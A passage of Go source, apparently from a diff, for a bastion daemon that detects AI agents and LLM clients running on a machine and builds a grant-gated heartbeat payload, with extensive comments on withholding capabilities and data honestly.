// The strong set starts from this box's OWN configuration, so an operator
|
||||
// running llama.cpp on :8080 gets that port treated as real evidence — the
|
||||
// same number stays weak on a box that never declared it.
|
||||
func localLLMPorts() (strong map[int]string, weak map[int]string) {
|
||||
strong = map[int]string{}
|
||||
for p, name := range knownLocalLLMPorts {
|
||||
strong[p] = name
|
||||
}
|
||||
for _, e := range []struct{ env, name string }{
|
||||
{"OLLAMA_ADDR", "ollama"},
|
||||
{"PRIVATAE_LLM_ADDR", "openai-compatible"},
|
||||
} {
|
||||
if p := portOfAddr(os.Getenv(e.env)); p > 0 {
|
||||
strong[p] = e.name // configured beats both tables: the operator declared it
|
||||
}
|
||||
}
|
||||
weak = map[int]string{}
|
||||
for p, name := range ambiguousLocalLLMPorts {
|
||||
if _, taken := strong[p]; !taken {
|
||||
weak[p] = name
|
||||
}
|
||||
}
|
||||
return strong, weak
|
||||
}
|
||||
|
||||
// scanAgents merges the process + network signals into one snapshot keyed by pid: a known agent
|
||||
// binary, an interpreter-wrapped agent, OR a process the process-signal missed that is talking to
|
||||
// a model (signature "llm-client").
|
||||
//
|
||||
// The bastion's OWN managed local agent children are excluded: they embed against the local model by
|
||||
// design, so without this every box running one reports its own component as an unsanctioned agent.
|
||||
//
|
||||
// An error is the walk NOT happening — /proc unreadable, `ps` failing, the
|
||||
// Toolhelp snapshot refused — and it must not come back as an empty list:
|
||||
// the host reads an empty list from a box that can enumerate as "looked and
|
||||
// found nothing", which clears a containment the user ordered. The heartbeat
|
||||
// withholds the key instead (buildHeartbeatBody), and the host holds.
|
||||
//
|
||||
// scanProcessesFn is the seam a test uses to make the walk fail; production
|
||||
// never reassigns it.
|
||||
var scanProcessesFn = scanProcesses
|
||||
|
||||
func scanAgents() ([]agentObs, error) {
|
||||
byPid, err := scanProcessesFn()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Kind + helper collapse: a GUI app's helper processes are
|
||||
// dropped and their parent is classified as an app; each surviving
|
||||
// observation carries its kind and parent. A helper's connections still
|
||||
// count — they are re-attributed to the app that owns the helper, so
|
||||
// "Claude desktop, talking to api.anthropic.com" is one observation, not
|
||||
// nine, and the network-service helper that actually holds the socket is
|
||||
// credited to the app rather than reported on its own.
|
||||
helperRoot := classifyObservations(byPid, procParent)
|
||||
conns := scanConnections()
|
||||
for i := range conns {
|
||||
if root, ok := helperRoot[conns[i].PID]; ok {
|
||||
conns[i].PID = root
|
||||
conns[i].ViaHelper = true
|
||||
}
|
||||
}
|
||||
strong, weak := localLLMPorts()
|
||||
mergeConnections(byPid, conns, resolveLLMIPs(), strong, weak,
|
||||
func(pid int) procDetail {
|
||||
return procDetail{User: procUser(pid), Cmdline: procCmdline(pid),
|
||||
Token: procEnvToken(pid), Exe: procExe(pid)}
|
||||
}, procParent)
|
||||
// Origin + evidence. The observed set is every agent and
|
||||
// automation in this snapshot, so a process forked by one of them reads
|
||||
// as origin `agent`. Apps get an origin too — it costs nothing and "the
|
||||
// Claude desktop app, started by launchd" is a true sentence — but their
|
||||
// origin never changes what the host does with them.
|
||||
observed := map[int]bool{}
|
||||
for pid, a := range byPid {
|
||||
if a.Kind == kindAgent || a.Kind == kindAutomation {
|
||||
observed[pid] = true
|
||||
}
|
||||
}
|
||||
extra := originExtras()
|
||||
facts := procFactsReader()
|
||||
out := make([]agentObs, 0, len(byPid))
|
||||
for pid, a := range byPid {
|
||||
if faIsOwnChild(pid) {
|
||||
continue
|
||||
}
|
||||
origin, ev := classifyOrigin(pid, facts, observed, extra)
|
||||
a.Origin = origin
|
||||
// The owning unit, read from the same facts the classifier used. It is
|
||||
// already in hand on linux and was being thrown away; the baseline
|
||||
// fingerprint needs it so a service restart is the SAME entry.
|
||||
if f, ok := facts(pid); ok {
|
||||
a.Unit = f.Unit
|
||||
}
|
||||
a.Evidence = append([]evidence{signatureEvidence(a)}, endpointEvidence(a.LLMEndpoints)...)
|
||||
if a.DelegationToken != "" {
|
||||
a.Evidence = append(a.Evidence, evidence{Signal: "delegation-tag", Tier: tierKnown, Value: "present"})
|
||||
}
|
||||
a.Evidence = append(a.Evidence, ev...)
|
||||
out = append(out, a)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
var (
|
||||
llmIPCache map[string]string
|
||||
llmIPCacheAt time.Time
|
||||
llmIPMu sync.Mutex
|
||||
)
|
||||
|
||||
// resolveLLMIPs resolves the endpoint list to an ip->hostname map, cached for 5 min.
|
||||
func resolveLLMIPs() map[string]string {
|
||||
llmIPMu.Lock()
|
||||
defer llmIPMu.Unlock()
|
||||
if llmIPCache != nil && time.Since(llmIPCacheAt) < 5*time.Minute {
|
||||
return llmIPCache
|
||||
}
|
||||
m := map[string]string{}
|
||||
for _, host := range llmEndpoints {
|
||||
ips, err := net.LookupIP(host)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, ip := range ips {
|
||||
m[ip.String()] = host
|
||||
}
|
||||
}
|
||||
llmIPCache = m
|
||||
llmIPCacheAt = time.Now()
|
||||
return m
|
||||
}
|
||||
|
||||
// buildHeartbeatBody marshals the heartbeat payload, now including the observed-agent snapshot.
|
||||
// `endpoint` is the WG endpoint this bastion currently DIALS (config truth) — the host compares
|
||||
// it against the authoritative desired endpoint and answers with a rotate_endpoint directive
|
||||
// when they differ (the concentrator→relay migration path; see maybeRotateEndpoint).
|
||||
// `savePending` is true while this pairing runs on an entry and Hub key it moved to
|
||||
// but has not saved yet (rotate.go, persistEndpoints).
|
||||
// `mirror` is this pairing's replica state, or nil when the box holds no mirror
|
||||
// for this host. Passed in rather than read from package state: one daemon
|
||||
// serves several hosts and each has its own mirror, so a global would report
|
||||
// one host's replica under another host's heartbeat.
|
||||
//
|
||||
// `self` is the pairing this beat is for (its host_name). It decides one thing:
|
||||
// the full pairings list (every pairing on the box, with states) travels ONLY
|
||||
// to the anchor host, because approving is the anchor's job. "" = no pairing
|
||||
// identity (tests, tools): mode, anchor and unapproved attempts still travel.
|
||||
func buildHeartbeatBody(self, hostname, platform, version, wgPub, fingerprint, tunnelIP, endpoint string,
|
||||
savePending bool, mirror *mirrorReport, enforcing map[string]any, peers []peerAnnounce) string {
|
||||
caps := []string{}
|
||||
// WHY SOME CAPABILITIES ARE WITHHELD HERE AND OTHERS ARE NOT — the asymmetry
|
||||
// is real and was undocumented, which is why it reads as an oversight. The
|
||||
// rule, stated so the next person does not have to re-derive it:
|
||||
//
|
||||
// ADVERTISE what the machine CAN do. WITHHOLD what it will refuse to
|
||||
// CONNECT.
|
||||
//
|
||||
// The inference lanes are listening ports. A pairing outside the family is
|
||||
// refused at accept (run.go inferenceRefuser), so advertising them would be a
|
||||
// lie about REACHABILITY — the host would route embeddings at a socket that
|
||||
// hangs up. Withholding is the honest answer.
|
||||
//
|
||||
// observe / mirror / freeagent are op families gated at the mgmt lane, which
|
||||
// refuses with a sentence naming the fix. Withholding those would tell the
|
||||
// host this machine CANNOT observe or mirror, when the truth is that it is
|
||||
// not yet governed — and "capability-poor" is a worse lie than "ungoverned",
|
||||
// because the second is recoverable by reading the anchor state that rides
|
||||
// the same beat. So they keep advertising on an unanchored networked box, and
|
||||
// the refusal explains itself if the control is used.
|
||||
//
|
||||
// The inference lanes (embed, llm-openai, pii) are one caps family on an
|
||||
// anchored box (anchor.go opFamily "inference"). A pairing outside it is
|
||||
// refused at the forwards' accept, so its heartbeat must not advertise
|
||||
// them either: the host offers embedding routes and PII writes on these
|
||||
// capabilities, and an offer the box will refuse is a control that fails
|
||||
// after the user has already chosen it. Withheld = the probes are skipped.
|
||||
inference := capsAllow(self, "inference") == ""
|
||||
// The same honesty rule one level finer. A grant may narrow
|
||||
// `inference` to NAMED models (modelscope.go); the forward refuses every
|
||||
// other one, so every list that leaves here is filtered to the scope and a
|
||||
// lane with nothing left in it is not advertised at all. An unscoped
|
||||
// pairing — every anchor, and every grant signed before the field existed —
|
||||
// gets exactly what it got before: scope.filterModels is the identity then.
|
||||
scope := pairingModelScope(self)
|
||||
reachable, models := false, []string(nil)
|
||||
if inference {
|
||||
reachable, models = ollamaModels(tunnelIP)
|
||||
models = scope.filterModels(models)
|
||||
// Reachable but nothing shared: advertising `embed` would put this box
|
||||
// in the host's embedding picker and every call would then be refused.
|
||||
if scope.scoped && len(models) == 0 {
|
||||
reachable = false
|
||||
}
|
||||
}
|
||||
if reachable {
|
||||
caps = []string{"embed"}
|
||||
}
|
||||
// OpenAI-compatible server (llama.cpp/vLLM via PRIVATAE_LLM_ADDR) — additive
|
||||
// capability; hosts that predate it ignore unknown caps.
|
||||
//
|
||||
// Its models go in their OWN field, never merged into `models`. Two reasons,
|
||||
// both load-bearing: (1) this server answers on a DIFFERENT port, and the
|
||||
// host derives an endpoint per list — a merged list makes it dial ollama's
|
||||
// port for a model only llama.cpp serves; (2) `models` feeds the host's
|
||||
// EMBEDDING picker, so merging offers chat models as embedding models on a
|
||||
// box running both.
|
||||
llmModels := []string{}
|
||||
llmPort := llmForwardPort
|
||||
if !inference {
|
||||
// The host stores 0 as NULL; with llm-openai withheld and
|
||||
// llm_models empty nothing on the host resolves a port for this row.
|
||||
llmPort = 0
|
||||
} else if ok, oaModels := openAICompatModels(); ok {
|
||||
oaModels = scope.filterModels(oaModels)
|
||||
if scope.scoped && len(oaModels) == 0 {
|
||||
// Same rule as `embed` above: an empty shared list means this
|
||||
// pairing has no reachable model here, so the lane is withheld
|
||||
// and llm_port goes back to the "no port" value.
|
||||
llmPort = 0
|
||||
} else {
|
||||
caps = append(caps, "llm-openai")
|
||||
if oaModels != nil {
|
||||
llmModels = oaModels
|
||||
}
|
||||
}
|
||||
}
|
||||
// PII sterilization lane (PRIVATAE_PII_ADDR; servePIIForward, :18081).
|
||||
// Additive, and ABSENT-when-unset rather than always-present like
|
||||
// llm_port: the host gates PII features on pii_port being reported at
|
||||
// all, so a bastion with no service must produce no fields — absence
|
||||
// IS the honest "not present" signal. pii_ok is the last /health
|
||||
// probe: an up forwarder with a dead upstream is a distinct state the
|
||||
// host wants before committing a fail-closed write path to it.
|
||||
piiAdvertised, piiOK := false, false
|
||||
if inference && scope.allowsPII() {
|
||||
piiAdvertised, piiOK = piiProbe()
|
||||
}
|
||||
if piiAdvertised {
|
||||
caps = append(caps, "pii")
|
||||
}
|
||||
// local agent lane (PRIVATAE_BASTION_AGENT_ADDR; freeagent.go). Same absence
|
||||
// semantics as pii: unset env → no capability, no field. freeagent_ok is
|
||||
// the last mTLS /health probe — "serving" per the local agent's own gate.
|
||||
// The capability means SERVING, not merely configured: the platform has
|
||||
// no column for freeagent_ok (schema is not this lane's to change), so the
|
||||
// store card's "freeagent: true" must be true at the moment it is read.
|
||||
// freeagent_ok still travels for the operator's eyes.
|
||||
faAdvertised, faOK := freeagentProbe()
|
||||
// managed instances (freeagent_managed.go) count the same way: any
|
||||
// serving instance advertises the capability; all must serve for ok
|
||||
if mAdv, mOK := faManagedProbe(); mAdv {
|
||||
if !faAdvertised {
|
||||
faAdvertised, faOK = true, mOK
|
||||
} else {
|
||||
faOK = faOK && mOK
|
||||
}
|
||||
}
|
||||
if faAdvertised && faOK {
|
||||
caps = append(caps, "freeagent")
|
||||
}
|
||||
// Memory mirror: advertise ONLY when this box could actually hold
|
||||
// one, which means a container runtime is installed. The host gates its
|
||||
// enable path on this capability, so a box without Docker or Podman never
|
||||
// gets offered a control that would fail after the user had already spent a
|
||||
// two-factor code on it. Re-probed every beat, so installing a runtime makes
|
||||
// the option appear without restarting anything.
|
||||
if mirrorCapable() {
|
||||
caps = append(caps, mirrorCapability)
|
||||
}
|
||||
// Service slots (service.go): advertised only when this pairing holds the
|
||||
// "services" family AND a container runtime is installed — the host offers
|
||||
// "build a server on this machine" on it, and an offer the box would refuse
|
||||
// is a control that fails after the user chose it. The slot list rides with
|
||||
// it, withheld (absent, not empty) from a pairing outside the family.
|
||||
servicesOn := servicesCapable(self)
|
||||
if servicesOn {
|
||||
caps = append(caps, serviceCapability)
|
||||
}
|
||||
// Coder runs (coders.go): the capability and its block travel together,
|
||||
// only when this machine would accept a run-up from this pairing — Linux,
|
||||
// root, coders on, a runtime, the family, and (anchored) a standing coder
|
||||
// grant. Absent, never empty, otherwise.
|
||||
coders := coderHeartbeat(self)
|
||||
if coders != nil {
|
||||
caps = append(caps, coderCapability)
|
||||
}
|
||||
// THE OBSERVE PLANE'S PAYLOAD IS GATED ON `observe`.
|
||||
//
|
||||
// `agents` is what is RUNNING on someone's computer and `schedulers` is what
|
||||
// is set to run on it. Both rode every beat to every paired host regardless
|
||||
// of its ceiling — scanAgents() takes no pairing identity at all — so a host
|
||||
// approved for one model still received the machine's process list. That
|
||||
// makes the sentence this feature exists for ("the only thing we can do with
|
||||
// this machine is use the qwen4 model") false, and it is the same separation
|
||||
// prep_tools already keeps on `dcn` and model:* on `models`.
|
||||
//
|
||||
// Both the CAPABILITY and the DATA are withheld together, and the fields are
|
||||
// OMITTED rather than emptied: an empty agents list from a box that is
|
||||
// watching perfectly well would read as "nothing running", which is a worse
|
||||
// lie than saying nothing. What tells the host which it is looking at is
|
||||
// enforcing.pairing_caps, already on this same beat — a host that can see it
|
||||
// holds no `observe` knows the box is not blind, it is not telling THEM.
|
||||
//
|
||||
// The anchor pairing holds every family, and an unanchored box (every local
|
||||
// bastion) gates nothing, so this narrows exactly one case: a member pairing
|
||||
// on an anchored box whose grant does not name observe.
|
||||
observing := capsAllow(self, "observe:host") == ""
|
||||
// Agent OBSERVE plane: say whether this box can actually watch
|
||||
// itself. Every platform enforces grants, but only a platform with both
|
||||
// enumerators reports agents — and "no agents observed" from a box that
|
||||
// CANNOT observe reads identically to a genuinely quiet box unless this
|
||||
// says otherwise. The host uses it to distinguish quiet from blind.
|
||||
if agentScanSupported && observing {
|
||||
caps = append(caps, "agent-observe")
|
||||
}
|
||||
// Computer OBSERVE rung (computer.go): the same quiet-vs-
|
||||
// blind distinction for the machine map — apps and windows. A build with no
|
||||
// enumerator withholds it, so the host never reads "no apps" from a box that
|
||||
// cannot look.
|
||||
if computerObserveSupported {
|
||||
caps = append(caps, "computer-observe")
|
||||
}
|
||||
// Scheduler inventory (schedulers.go): the standing jobs on
|
||||
// this box that would run an agent or an automation. Same quiet-vs-blind
|
||||
// rule: the capability travels only from a build that can enumerate.
|
||||
// Not probed at all when withheld — the same rule the inference lanes
|
||||
// follow above ("withheld = the probes are skipped"). Walking every crontab
|
||||
// and unit on the box to build a list nobody is entitled to read is work
|
||||
// done for nothing, on the user's own hardware.
|
||||
var schedEntries []schedEntry
|
||||
var schedScan schedScanReport
|
||||
if observing {
|
||||
schedEntries, schedScan = scanSchedulers()
|
||||
if schedScan.Supported {
|
||||
caps = append(caps, "scheduler-observe")
|
||||
}
|
||||
}
|
||||
// Context preparation (contextprep.go): the tools on this box that
|
||||
// turn a user's bytes into their content — a PDF's text, an image's OCR.
|
||||
// Gated on the dcn family like the ctx_* ops it serves, so a member pairing
|
||||
// that would be refused at the op is never offered the feature; withheld
|
||||
// skips the probe entirely, exactly as the inference lanes do above.
|
||||
// Model management (modelswap.go): could this box have a model
|
||||
// PULLED onto it by this host. Its own family ("models"), so a pairing that
|
||||
// holds `inference` — the right to USE what is already loaded — is not
|
||||
// offered this and its probe is skipped, exactly as the lanes above do.
|
||||
// COULD, never WILL — and here that is narrower than it sounds: holding the
|
||||
// family buys the host the right to ASK, not to download. Every pull ALSO
|
||||
// needs the user's approval on this machine, bound to that exact model, role
|
||||
// and byte ceiling, good for one use (modelPullApproved, modelswap.go). So
|
||||
// this capability means "you may propose a model to this user", never "you
|
||||
// may write to their disk".
|
||||
if modelSwapCapable(self) {
|
||||
caps = append(caps, modelSwapCapability)
|
||||
}
|
||||
prepTools, prepScan, prepOK := prepCapable(self)
|
||||
if prepOK {
|
||||
caps = append(caps, prepCapability)
|
||||
}
|
||||
if prepTools == nil {
|
||||
prepTools = []prepToolReport{}
|
||||
}
|
||||
if models == nil {
|
||||
models = []string{}
|
||||
}
|
||||
body := map[string]interface{}{
|
||||
"hostname": hostname,
|
||||
"platform": platform,
|
||||
"gateway_version": version,
|
||||
"tunnel_status": "up",
|
||||
"wg_pubkey": wgPub,
|
||||
"device_health": "healthy",
|
||||
// Which context-preparation tools this box actually has, and how many
|
||||
// were probed to find them — so "no tools" from a box that probed three
|
||||
// binaries is visibly different from one that probed none. The host's
|
||||
// question is "can this box turn this mime into text", which this list
|
||||
// answers as a lookup. Empty when the capability is withheld.
|
||||
"prep_tools": prepTools,
|
||||
"prep_scan": prepScan,
|
||||
"hardware_fingerprint": fingerprint,
|
||||
"capabilities": caps,
|
||||
// The ollama models this box serves — the host stores these and offers
|
||||
// them in its embedding pickers, so model selection matches reality.
|
||||
"models": models,
|
||||
// The OpenAI-compatible server's models, and the TUNNEL-SIDE port the
|
||||
// host must dial to reach them (serveLLMForward proxies it to
|
||||
// PRIVATAE_LLM_ADDR). The port is reported rather than assumed so the
|
||||
// constant lives in ONE place instead of being duplicated host-side.
|
||||
"llm_models": llmModels,
|
||||
"llm_port": llmPort,
|
||||
"reported_ip": tunnelIP,
|
||||
"endpoint": endpoint,
|
||||
// True while this pairing runs on an entry and Hub key it moved to
|
||||
// but could not save: a restart would come up on the ones its file
|
||||
// still names. The host reads the key a machine runs from its Hub's
|
||||
// handshakes, which cannot see the disk, so it keeps the key the file
|
||||
// names served until this is false. On every beat; a host reads its
|
||||
// absence as a client too old to say.
|
||||
"endpoint_save_pending": savePending,
|
||||
}
|
||||
// The service slots this pairing may reach, with the tunnel port for each
|
||||
// (service.go). Absent when the capability is withheld, never empty-for-no.
|
||||
if servicesOn {
|
||||
body["services"] = serviceReports()
|
||||
}
|
||||
if coders != nil {
|
||||
body["coders"] = coders
|
||||
}
|
||||
// The observe plane's payload, for a pairing entitled to it. Absent — not
|
||||
// empty — for one that is not: see the `observing` note above. The box is
|
||||
// not retracting what it saw, it has stopped being allowed to say — and
|
||||
// what the HOST does with the absence differs per key, so this comment
|
||||
// used to overstate it ("the host COALESCEs an absent key"). Checked against
|
||||
// the host: `peers`, `posture`, `machine_record_dropped` and
|
||||
// `schedulers` are COALESCEd (the last reading survives); `scheduler_scan`
|
||||
// is overwritten with NULL — and NULL there is the quiet-vs-blind
|
||||
// discriminator, so that reads as "not looked", not as "nothing
|
||||
// scheduled"; a pending containment is HELD on a beat without `agents`.
|
||||
// Each host column states its own rule; none of them reads an absent key
|
||||
// as an all-clear.
|
||||
if observing {
|
||||
// WITHHELD, not emptied, when the walk fails. An empty list from a box
|
||||
// that advertises agent-observe means "looked, nothing there" to the
|
||||
// host — it clears a kill order the user placed. A walk that did not
|
||||
// happen sends no key; the host holds the order until one that did.
|
||||
if agents, err := scanAgents(); err == nil {
|
||||
body["agents"] = agents
|
||||
// The positive signal that this list was MEASURED. A build before
|
||||
// this one sent an empty list for a failed walk too, and the host
|
||||
// cannot tell those apart by the list alone; it clears a pending
|
||||
// containment only when this key says the walk happened, and
|
||||
// holds (then lapses) an order for a box that never says so.
|
||||
body["agent_scan_ok"] = true
|
||||
} else if agentScanSupported {
|
||||
// Printed only where a failure is news: a build with no enumerator
|
||||
// fails every beat by construction, and the withheld capability
|
||||
// already says so — a line per beat there would bury the real
|
||||
// transient failures this print exists for.
|
||||
fmt.Printf("observe: agent scan failed this beat (%v) — agents withheld from the heartbeat\n", err)
|
||||
}
|
||||
// Which enumerator produced that list ("proc+ss", "ps+lsof",
|
||||
// "toolhelp+iphlpapi", "unsupported"). The platform has no column for
|
||||
// it and ignores unknown fields; it travels for the operator's eyes
|
||||
// when debugging a box, the same way freeagent_ok does. The DECISION
|
||||
// signal is the "agent-observe" capability above, which IS stored.
|
||||
body["agent_scan"] = agentScanKind
|
||||
// Scheduled entries that match the agent/automation tables, and how
|
||||
// much was scanned to find them — so "no scheduled agents" from a box
|
||||
// that read 0 crontabs is visibly different from one that read 40.
|
||||
body["schedulers"] = schedEntries
|
||||
body["scheduler_scan"] = schedScan
|
||||
// Where this machine keeps its own record — the findings journal and
|
||||
// the signed accounting (machinestore.go, baselinesign.go). The host
|
||||
// drafts a machine store at this root for the user to approve, once;
|
||||
// until they do,
|
||||
// nothing reads it. A path, reported, not a grant.
|
||||
//
|
||||
// INSIDE THE `observing` GATE, with the other path-bearing keys. The
|
||||
// value is <os.UserConfigDir()>/privatae-bastion/store — which names
|
||||
// the operator's OS account (/home/<user>/…, /Users/<user>/…,
|
||||
// C:\Users\<user>\…). The rule the surrounding keys follow is that
|
||||
// material naming programs and paths travels only to a pairing
|
||||
// granted `observe`; the first version sent this ungated, on every
|
||||
// beat, to pairings the code above takes care to send no paths to.
|
||||
// Reading the record IS observing, so a pairing without it gets no
|
||||
// root and therefore no draft — which is the correct outcome.
|
||||
if root, err := storeRootPath(); err == nil && root != "" {
|
||||
body["machine_record_root"] = root
|
||||
}
|
||||
// Results the record could NOT keep, per shelf. ALWAYS present inside
|
||||
// this gate — an empty object when the record is whole — and absent
|
||||
// only when this pairing is not entitled to observe. The first version
|
||||
// omitted the key at zero, and the host then had two sources of
|
||||
// absence it could not tell apart: "whole" and "no longer allowed to
|
||||
// say" (the observe switch in the console, no restart, holes still
|
||||
// accumulating). It overwrote a populated column with NULL and called
|
||||
// the machine whole. This is the nil-vs-empty contract `peers` keeps
|
||||
// on this same beat (below): empty is a real state and must travel;
|
||||
// absent means not entitled, and the host keeps what it has.
|
||||
d := storeObserveDroppedSnapshot()
|
||||
if d == nil {
|
||||
d = map[string]int64{}
|
||||
}
|
||||
body["machine_record_dropped"] = d
|
||||
}
|
||||
// What this box did with the findings THIS pairing asked it to stop
|
||||
// (containfinding.go). Outside the observe gate: it carries fingerprints
|
||||
// the host itself sent and an outcome word, nothing the host did not
|
||||
// already hold. ALWAYS present, an empty list when there is nothing to
|
||||
// report, so the host can tell a box that has answered nothing from one
|
||||
// that predates the key (absent) — the second holds an order until it
|
||||
// lapses rather than reading silence as done.
|
||||
body["contain_results"] = containResultsReport(self)
|
||||
// Mirror state as THIS box sees it. The host does not trust this for lag —
|
||||
// it reads pg_stat_replication on the primary, the one place that cannot be
|
||||
// talked into a comforting number. What it carries is the set of states the
|
||||
// primary genuinely cannot observe: no runtime, image not downloaded,
|
||||
// container dead, version mismatch. Sent only once a mirror exists, so a
|
||||
// bastion that holds none adds no field.
|
||||
if mirror != nil && mirror.State != "absent" {
|
||||
body["mirror"] = *mirror
|
||||
}
|
||||
// NAC agent: what this box is ENFORCING, so the host's posture
|
||||
// is a comparison against what it granted, not this self-reported string.
|
||||
// device_health stays for hosts that predate the report.
|
||||
if enforcing != nil {
|
||||
body["enforcing"] = enforcing
|
||||
}
|
||||
// Peer announcement: the OTHER hosts this machine serves, so a
|
||||
// host learns it shares a box with them. Name and handle only — peers.go
|
||||
// says why that boundary is load-bearing.
|
||||
//
|
||||
// nil vs EMPTY is the whole contract, and both halves must agree on it:
|
||||
// nil — we could not enumerate the pairings. Say nothing; the host keeps
|
||||
// what it has (peers = COALESCE(EXCLUDED.peers, stored)). An older
|
||||
// bastion sends no key at all and lands here too, which is why
|
||||
// absence can never be read as "serves only this host".
|
||||
// empty — we DID enumerate and there are no others. That is a real state
|
||||
// change (the user unpaired the last other host) and it must
|
||||
// travel, or the host lists peers this machine no longer serves
|
||||
// for good.
|
||||
// So the test is `peers != nil`, not `len(peers) > 0`.
|
||||
if peers != nil {
|
||||
body["peers"] = peers
|
||||
}
|
||||
// Machine ownership: who owns this box, if anyone has said.
|
||||
// Absent when nobody has, which is the normal state — the host just shows no
|
||||
// owner line. Grants nothing anywhere.
|
||||
if oc := currentOwnerClaim(); oc != nil {
|
||||
body["owner_claim"] = oc
|
||||
}
|
||||
// The detection plane's summary line (deltarun.go): how many
|
||||
// findings stand against this machine's accounting, and — just as important
|
||||
// — whether there IS an accounting to stand against. A box with no baseline
|
||||
// reports `baseline: none` rather than zero findings, so "nothing has
|
||||
// changed here" and "nobody ever said what normal was" can never read the
|
||||
// same on the host's card. Absent until the first pass completes, the way
|
||||
// posture is.
|
||||
if d := deltaPayload(); d != nil {
|
||||
body["findings"] = d
|
||||
}
|
||||
// Host posture (observe_ops.go): the sentinel HOST_PROBE fields,
|
||||
// folded in so SEEING posture costs no management grant. Cached for
|
||||
// 5 minutes (posturePayload says why, with the measured cost); Linux only,
|
||||
// and absent — no key — everywhere else, so a host never reads "ufw:
|
||||
// absent" from a box that could not have looked.
|
||||
if hp := posturePayload(); hp != nil {
|
||||
body["posture"] = hp
|
||||
}
|
||||
// The Alertmanager summary (observe_pull.go): how many alerts are
|
||||
// firing against the infrastructure this box sits on, folded in the way
|
||||
// findings and posture are, so the host learns of a critical without
|
||||
// spending a management op on every beat. The rows are pulled on demand
|
||||
// with observe:alerts; only the counts, the oldest start and up to twenty
|
||||
// fingerprints ride the beat.
|
||||
//
|
||||
// ABSENT — no key — when no endpoints file names an alertmanager, and
|
||||
// absent until the first successful refresh. That is the peers rule above
|
||||
// applied here, and it matters more: a zero `firing` from a box that has no
|
||||
// Alertmanager to ask would read as an all-clear from a machine nobody is
|
||||
// watching.
|
||||
//
|
||||
// UNGATED — outside `observing`, like posture and findings and unlike agents
|
||||
// and schedulers. Settled here so the next reader does not re-litigate it:
|
||||
//
|
||||
// - What `observing` gates is the machine's CONTENT. `agents` is the
|
||||
// process list of someone's computer and `schedulers` is what is set to
|
||||
// run on it; both name programs and paths, so a host scoped to one model
|
||||
// has no business receiving them.
|
||||
// - This carries counts and opaque fingerprints. No alert names, no labels,
|
||||
// no hostnames — a fingerprint is an Alertmanager hash that resolves to
|
||||
// nothing without the Alertmanager. The ROWS, which do carry labels, live
|
||||
// behind observe:alerts, and that op is grant-gated like every other.
|
||||
// - The design's rule is that SEEING a machine's health costs no grant —
|
||||
// §8 folds posture into the beat precisely so that "*seeing* posture
|
||||
// costs no grant". A host told this box is unhealthy, and able to learn
|
||||
// nothing more about why without a grant, is the intended shape.
|
||||
if al := alertsPayload(); al != nil {
|
||||
body["alerts"] = al
|
||||
}
|
||||
// Mode (2026-09-08, mode.go): local or networked, on EVERY beat, so a host
|
||||
// can never mistake one shape for the other when it reads the box's card.
|
||||
body["mode"] = boxMode()
|
||||
// Anchor (anchor.go): who approves pairings on this box. Absent when the
|
||||
// box is not anchored — every local bastion. The verify key stays home.
|
||||
anchor := currentAnchor()
|
||||
if anchor != nil {
|
||||
body["anchor"] = anchor
|
||||
// The anchor host alone gets the full list — every pairing including
|
||||
// the pending ones it is being asked to approve, and itself.
|
||||
if self != "" && anchor.AnchorHost == self {
|
||||
if list := pairingsReport(); list != nil {
|
||||
body["pairings"] = list
|
||||
}
|
||||
}
|
||||
}
|
||||
// A pairing left pending past unapprovedAfter is an attempt someone did
|
||||
// not approve. Every host on the box hears about it — that is the
|
||||
// intrusion signal. Same nil-vs-empty rule as peers: an enumerated
|
||||
// "none" travels as [] so the host's COALESCE can clear a past attempt;
|
||||
// the key is absent only when the pairings could not be read.
|
||||
if u := unapprovedAttempts(time.Now()); u != nil {
|
||||
body["unapproved_pairing_attempts"] = u
|
||||
}
|
||||
// Another bastion installed on this machine (otherbastions.go).
|
||||
// The singleton refuses new ones; this is how a host hears about
|
||||
// the ones already on disk, or any that got around the refusal. Every host
|
||||
// on the box is told, like unapproved attempts above — a second bastion
|
||||
// affects all of them, not only the anchor.
|
||||
//
|
||||
// Same nil-vs-empty contract, and here it carries extra weight: the key is
|
||||
// absent on any box that could not LOOK (not root, not Linux), so a host
|
||||
// never reads "no second bastion" off a box that never checked.
|
||||
if ob := otherBastionsPayload(); ob != nil {
|
||||
body["other_bastions"] = ob
|
||||
// WHEN it was looked at, beside what was found. A scan that stops
|
||||
// completing keeps publishing its last answer, and if that answer is []
|
||||
// the host would read "clean" for ever with nothing to say otherwise.
|
||||
if at := otherBastionsScannedAt(); at != "" {
|
||||
body["other_bastions_scanned_at"] = at
|
||||
}
|
||||
}
|
||||
if piiAdvertised {
|
||||
body["pii_port"] = piiForwardPort
|
||||
body["pii_ok"] = piiOK
|
||||
}
|
||||
if faAdvertised {
|
||||
body["freeagent_ok"] = faOK
|
||||
if st := faManagedStatus(); len(st) > 0 {
|
||||
body["freeagent_stores"] = st
|
||||
}
|
||||
}
|
||||
data, err := json.Marshal(body)
|
||||
if err != nil {
|
||||
return `{"tunnel_status":"up","device_health":"healthy"}`
|
||||
}
|
||||
return string(data)
|
||||
}
|
||||
|
||||
func splitNul(raw []byte) []string {
|
||||
out := []string{}
|
||||
for _, p := range strings.Split(string(raw), "\x00") {
|
||||
if p != "" {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// parseEnvToken extracts ONE env var's value from a NUL-separated environment blob. Only
|
||||
// the named var is ever returned — the rest of the process's environment is never read out.
|
||||
func parseEnvToken(environ []byte, key string) string {
|
||||
pre := key + "="
|
||||
for _, kv := range strings.Split(string(environ), "\x00") {
|
||||
if strings.HasPrefix(kv, pre) {
|
||||
return kv[len(pre):]
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func containsStr(s []string, v string) bool {
|
||||
for _, x := range s {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func truncate(s string, n int) string {
|
||||
if len(s) > n {
|
||||
return s[:n]
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// macOS enumeration for the observe plane.
|
||||
//
|
